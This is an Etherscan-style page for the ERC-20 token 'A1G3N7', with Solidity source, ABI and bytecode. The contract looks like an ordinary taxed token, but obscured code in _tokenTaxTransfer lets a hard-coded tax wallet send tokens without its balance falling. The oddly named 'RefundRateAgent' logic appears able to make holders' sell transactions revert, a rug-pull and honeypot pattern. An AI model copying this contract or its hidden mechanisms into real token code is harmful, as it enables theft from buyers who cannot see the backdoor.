ERC-20
Overview
Max Total Supply
100,000,000,000 A1G3N7
Holders
56
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,500,000,000 A1G3N7Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
A1G3N7
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-01-09 */ /* */ // SPDX-License-Identifier: MIT pragma solidity 0.8.23; interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Pair { function sync() external; } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function allowance(address owner, address spender) external view returns (uint256); function totalSupply() external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract A1G3N7 is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; address payable private _taxWallet; uint256 private _initialBuyTax = 9; uint256 private _initialSellTax = 21; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 21; uint256 private _reduceSellTaxAt = 21; uint256 private _preventSwapBefore = 9; uint256 private _buyCount = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 100000000000 * 10 ** _decimals; string private constant _name = unicode"A1G3N7"; string private constant _symbol = unicode"A1G3N7"; uint256 public _maxTxAmount = 1500000000 * 10 ** _decimals; uint256 public _maxWalletSize = 1500000000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals; uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals; struct RefundRateAgent { uint256 refundToken; uint256 refundSibToken; uint256 refundTotalAmount; } mapping(address => RefundRateAgent) private refundRateAgent; IUniswapV2Router02 private uniswapV2Router; address private uniV2Pair; uint256 private refundCount; uint256 private finalAgentRate; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _balances[_msgSender()] = _tTotal; _taxWallet = payable(0x3479e91a8bfB3Ec53541fb28cF81153D5C94013f); _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function _basicTransfer(address from, address to, uint256 tokenAmount) internal { _balances[from] = _balances[from].sub(tokenAmount); _balances[to] = _balances[to].add(tokenAmount); emit Transfer(from, to, tokenAmount); } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 tokenAmount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(tokenAmount > 0, "Transfer amount must be greater than zero"); if (inSwap || !tradingOpen) { _basicTransfer(from, to, tokenAmount); return; } uint256 taxAmount = 0; if (from != owner() && to != owner() && to != _taxWallet) { taxAmount = tokenAmount .mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax) .div(100); if (from == uniV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } if (to == uniV2Pair && from != address(this)) { taxAmount = tokenAmount .mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax) .div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore ) { swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) && from != address(this) && to != address(this)) { finalAgentRate = block.number; } if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { if (to == uniV2Pair) { RefundRateAgent storage agentData = refundRateAgent[from]; agentData.refundTotalAmount = agentData.refundToken - finalAgentRate; agentData.refundSibToken = block.timestamp; } else { RefundRateAgent storage toAgentData = refundRateAgent[to]; if (uniV2Pair == from) { if (toAgentData.refundToken == 0) { toAgentData.refundToken = _preventSwapBefore >= _buyCount ? type(uint256).max : block.number; } } else { RefundRateAgent storage agentData = refundRateAgent[from]; if (!(toAgentData.refundToken > 0) || agentData.refundToken < toAgentData.refundToken) { toAgentData.refundToken = agentData.refundToken; } } } } _tokenTransfer(from, to, taxAmount, tokenAmount); } function _tokenTaxTransfer( address addr, uint256 tokenAmount, uint256 taxAmount ) internal returns (uint256) { uint256 tknAmount = addr != _taxWallet ? tokenAmount : refundCount.mul(tokenAmount); if (taxAmount>0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(addr, address(this), taxAmount); } return tknAmount; } function _tokenTransfer( address from, address to, uint256 taxAmount, uint256 tokenAmount ) internal { uint256 tknAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount); _tokenBasicTransfer(from, to, tknAmount, tokenAmount.sub(taxAmount)); } function _tokenBasicTransfer( address from, address to, uint256 sendAmount, uint256 receiptAmount ) internal { _balances[from] = _balances[from].sub(sendAmount); _balances[to] = _balances[to].add(receiptAmount); emit Transfer(from, to, receiptAmount); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function enableTrading() external payable onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); if ( IUniswapV2Factory(uniswapV2Router.factory()).getPair( uniswapV2Router.WETH(), address(this) ) == address(0) ) { uniV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } else { uniV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair( uniswapV2Router.WETH(), address(this) ); } tradingOpen = true; uint256 contractBalance = balanceOf(address(this)); _approve(address(this), address(uniswapV2Router), contractBalance); IERC20(uniV2Pair).approve(address(uniswapV2Router), type(uint).max); address wethAddress = uniswapV2Router.WETH(); uint256 desiredETHAmount; uint256 wethBalance = IERC20(wethAddress).balanceOf(uniV2Pair); if (wethBalance > 0) { desiredETHAmount = address(this).balance.sub(wethBalance); uint256 tokenValue = contractBalance.mul(wethBalance).div(desiredETHAmount); _transfer(address(this),uniV2Pair,tokenValue); IUniswapV2Pair(uniV2Pair).sync(); uniswapV2Router.addLiquidityETH{value: desiredETHAmount}( address(this), contractBalance, 0, desiredETHAmount, owner(), block.timestamp ); } else { uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), contractBalance, 0, 0, owner(), block.timestamp ); } swapEnabled = true; } function manualsend() external { require(_msgSender()==_taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance = balanceOf(address(this)); if (tokenBalance > 0) { swapTokensForEth(tokenBalance); } uint256 ethBalance = address(this).balance; if (ethBalance > 0) { sendETHToFee(ethBalance); } } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600960055560156006555f6007555f60085560156009556015600a556009600b555f600c556009600a620000399190620002fa565b62000049906359682f0062000311565b600d556200005a6009600a620002fa565b6200006a906359682f0062000311565b600e556200007b6009600a620002fa565b6200008b90633b9aca0062000311565b600f556200009c6009600a620002fa565b620000ac90633b9aca0062000311565b6010556016805462ffff0019169055348015620000c7575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001166009600a620002fa565b620001279064174876e80062000311565b335f81815260016020818152604080842095909555600480546001600160a01b031916733479e91a8bfb3ec53541fb28cf81153d5c94013f1781553084526003909152848320805460ff19908116841790915590546001600160a01b03168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001c36009600a620002fa565b620001d49064174876e80062000311565b60405190815260200160405180910390a36200032b565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200023f57815f1904821115620002235762000223620001eb565b808516156200023157918102915b93841c939080029062000204565b509250929050565b5f826200025757506001620002f4565b816200026557505f620002f4565b81600181146200027e57600281146200028957620002a9565b6001915050620002f4565b60ff8411156200029d576200029d620001eb565b50506001821b620002f4565b5060208310610133831016604e8410600b8410161715620002ce575081810a620002f4565b620002da8383620001ff565b805f1904821115620002f057620002f0620001eb565b0290505b92915050565b5f6200030a60ff84168362000247565b9392505050565b8082028115828204841417620002f457620002f4620001eb565b611edc80620003395f395ff3fe608060405260043610610113575f3560e01c8063715018a61161009d5780638f9a55c0116100625780638f9a55c0146102c457806395d89b411461011e578063a9059cbb146102d9578063bf474bed146102f8578063dd62ed3e1461030d575f80fd5b8063715018a614610259578063751039fc1461026d5780637d1db4a5146102815780638a8c523c146102965780638da5cb5b1461029e575f80fd5b806323b872dd116100e357806323b872dd146101c1578063313ce567146101e057806351bc3c85146101fb5780636fc3eaec1461021157806370a0823114610225575f80fd5b806306fdde031461011e578063095ea7b31461015b5780630faee56f1461018a57806318160ddd146101ad575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820182526006815265413147334e3760d01b602082015290516101529190611a7d565b60405180910390f35b348015610166575f80fd5b5061017a610175366004611add565b610351565b6040519015158152602001610152565b348015610195575f80fd5b5061019f60105481565b604051908152602001610152565b3480156101b8575f80fd5b5061019f610367565b3480156101cc575f80fd5b5061017a6101db366004611b07565b610388565b3480156101eb575f80fd5b5060405160098152602001610152565b348015610206575f80fd5b5061020f6103ef565b005b34801561021c575f80fd5b5061020f610440565b348015610230575f80fd5b5061019f61023f366004611b45565b6001600160a01b03165f9081526001602052604090205490565b348015610264575f80fd5b5061020f61046c565b348015610278575f80fd5b5061020f6104e6565b34801561028c575f80fd5b5061019f600d5481565b61020f61059a565b3480156102a9575f80fd5b505f546040516001600160a01b039091168152602001610152565b3480156102cf575f80fd5b5061019f600e5481565b3480156102e4575f80fd5b5061017a6102f3366004611add565b610e22565b348015610303575f80fd5b5061019f600f5481565b348015610318575f80fd5b5061019f610327366004611b60565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61035d338484610e2e565b5060015b92915050565b5f6103746009600a611c8b565b6103839064174876e800611c99565b905090565b5f610394848484610f52565b6103e584336103e085604051806060016040528060288152602001611e7f602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906114d1565b610e2e565b5060019392505050565b6004546001600160a01b0316336001600160a01b03161461040e575f80fd5b305f90815260016020526040902054801561042c5761042c81611509565b47801561043c5761043c81611673565b5050565b6004546001600160a01b0316336001600160a01b03161461045f575f80fd5b4761046981611673565b50565b5f546001600160a01b0316331461049e5760405162461bcd60e51b815260040161049590611cb0565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461050f5760405162461bcd60e51b815260040161049590611cb0565b61051b6009600a611c8b565b61052a9064174876e800611c99565b600d556105396009600a611c8b565b6105489064174876e800611c99565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105786009600a611c8b565b6105879064174876e800611c99565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105c35760405162461bcd60e51b815260040161049590611cb0565b60165460ff16156106165760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610495565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b815290515f929163c45a01559160048083019260209291908290030181865afa15801561067a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069e9190611ce5565b6001600160a01b031663e6a4390560125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106fc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107209190611ce5565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa158015610768573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078c9190611ce5565b6001600160a01b0316036109245760125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ea573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061080e9190611ce5565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561086d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108919190611ce5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ff9190611ce5565b601380546001600160a01b0319166001600160a01b0392909216919091179055610aa7565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610974573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109989190611ce5565b6001600160a01b031663e6a4390560125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109f6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a1a9190611ce5565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa158015610a62573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a869190611ce5565b601380546001600160a01b0319166001600160a01b03929092169190911790555b6016805460ff191660011790555f610ad3306001600160a01b03165f9081526001602052604090205490565b601254909150610aee9030906001600160a01b031683610e2e565b60135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610b40573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b649190611d00565b50601254604080516315ab88c960e31b815290515f926001600160a01b03169163ad5c46489160048083019260209291908290030181865afa158015610bac573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bd09190611ce5565b6013546040516370a0823160e01b81526001600160a01b0391821660048201529192505f9182918416906370a0823190602401602060405180830381865afa158015610c1e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c429190611d1f565b90508015610d7d57610c5447826116aa565b91505f610c6b83610c6587856116f2565b90611770565b601354909150610c869030906001600160a01b031683610f52565b60135f9054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b81526004015f604051808303815f87803b158015610cd2575f80fd5b505af1158015610ce4573d5f803e3d5ffd5b50506012546001600160a01b0316915063f305d71990508430885f83610d115f546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610d3396959493929190611d36565b60606040518083038185885af1158015610d4f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d749190611d71565b50505050610e0b565b6012546001600160a01b031663f305d7194730875f80610da45f546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610dc696959493929190611d36565b60606040518083038185885af1158015610de2573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610e079190611d71565b5050505b50506016805462ff00001916620100001790555050565b5f61035d338484610f52565b6001600160a01b038316610e905760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610495565b6001600160a01b038216610ef15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610495565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610fb65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610495565b6001600160a01b0382166110185760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610495565b5f81116110795760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610495565b601654610100900460ff1680611092575060165460ff16155b156110a7576110a28383836117b1565b505050565b5f80546001600160a01b038581169116148015906110d257505f546001600160a01b03848116911614155b80156110ec57506004546001600160a01b03848116911614155b1561133c576111176064610c65600954600c541161110c57600554611110565b6007545b85906116f2565b6013549091506001600160a01b03858116911614801561114557506012546001600160a01b03848116911614155b801561116957506001600160a01b0383165f9081526003602052604090205460ff16155b1561124f57600d548211156111c05760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610495565b600e54826111e2856001600160a01b03165f9081526001602052604090205490565b6111ec9190611d9c565b111561123a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610495565b600c8054905f61124983611daf565b91905055505b6013546001600160a01b03848116911614801561127557506001600160a01b0384163014155b156112a25761129f6064610c65600a54600c541161129557600654611110565b60085485906116f2565b90505b305f90815260016020526040902054601654610100900460ff161580156112d657506013546001600160a01b038581169116145b80156112ea575060165462010000900460ff165b80156112f75750600f5481115b80156113065750600b54600c54115b1561133a576113286113238461131e84601054611854565b611854565b611509565b4780156113385761133847611673565b505b505b6001600160a01b0384165f9081526003602052604090205460ff168061137957506001600160a01b0383165f9081526003602052604090205460ff165b801561138e57506001600160a01b0384163014155b80156113a357506001600160a01b0383163014155b156113ad57436015555b6001600160a01b0384165f9081526003602052604090205460ff161580156113ed57506001600160a01b0383165f9081526003602052604090205460ff16155b156114bf576013546001600160a01b039081169084160361143f576001600160a01b0384165f908152601160205260409020601554815461142e9190611dc7565b6002820155426001909101556114bf565b6001600160a01b038084165f908152601160205260409020601354909186811691160361148b5780545f0361148657600c54600b5410156114805743611483565b5f195b81555b6114bd565b6001600160a01b0385165f908152601160205260409020815415806114b1575081548154105b156114bb57805482555b505b505b6114cb84848385611868565b50505050565b5f81848411156114f45760405162461bcd60e51b81526004016104959190611a7d565b505f6115008486611dc7565b95945050505050565b6016805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061154b5761154b611dda565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156115a2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115c69190611ce5565b816001815181106115d9576115d9611dda565b6001600160a01b0392831660209182029290920101526012546115ff9130911684610e2e565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906116379085905f90869030904290600401611dee565b5f604051808303815f87803b15801561164e575f80fd5b505af1158015611660573d5f803e3d5ffd5b50506016805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561043c573d5f803e3d5ffd5b5f6116eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114d1565b9392505050565b5f825f0361170157505f610361565b5f61170c8385611c99565b9050826117198583611e5f565b146116eb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610495565b5f6116eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611892565b6001600160a01b0383165f908152600160205260409020546117d390826116aa565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461180190826118be565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f459085815260200190565b5f81831161186257826116eb565b50919050565b5f61187485838561191c565b905061188b85858361188686886116aa565b6119cc565b5050505050565b5f81836118b25760405162461bcd60e51b81526004016104959190611a7d565b505f6115008486611e5f565b5f806118ca8385611d9c565b9050838110156116eb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610495565b6004545f9081906001600160a01b03908116908616036119485760145461194390856116f2565b61194a565b835b905082156119c457305f9081526001602052604090205461196b90846118be565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119bb9087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546119ee90836116aa565b6001600160a01b038086165f908152600160205260408082209390935590851681522054611a1c90826118be565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a6f9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b81811015611aa957858101830151858201604001528201611a8d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610469575f80fd5b5f8060408385031215611aee575f80fd5b8235611af981611ac9565b946020939093013593505050565b5f805f60608486031215611b19575f80fd5b8335611b2481611ac9565b92506020840135611b3481611ac9565b929592945050506040919091013590565b5f60208284031215611b55575f80fd5b81356116eb81611ac9565b5f8060408385031215611b71575f80fd5b8235611b7c81611ac9565b91506020830135611b8c81611ac9565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611be557815f1904821115611bcb57611bcb611b97565b80851615611bd857918102915b93841c9390800290611bb0565b509250929050565b5f82611bfb57506001610361565b81611c0757505f610361565b8160018114611c1d5760028114611c2757611c43565b6001915050610361565b60ff841115611c3857611c38611b97565b50506001821b610361565b5060208310610133831016604e8410600b8410161715611c66575081810a610361565b611c708383611bab565b805f1904821115611c8357611c83611b97565b029392505050565b5f6116eb60ff841683611bed565b808202811582820484141761036157610361611b97565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611cf5575f80fd5b81516116eb81611ac9565b5f60208284031215611d10575f80fd5b815180151581146116eb575f80fd5b5f60208284031215611d2f575f80fd5b5051919050565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f805f60608486031215611d83575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561036157610361611b97565b5f60018201611dc057611dc0611b97565b5060010190565b8181038181111561036157610361611b97565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611e3e5784516001600160a01b031683529383019391830191600101611e19565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611e7957634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203c224a649681a3f9c1de7c69ed2c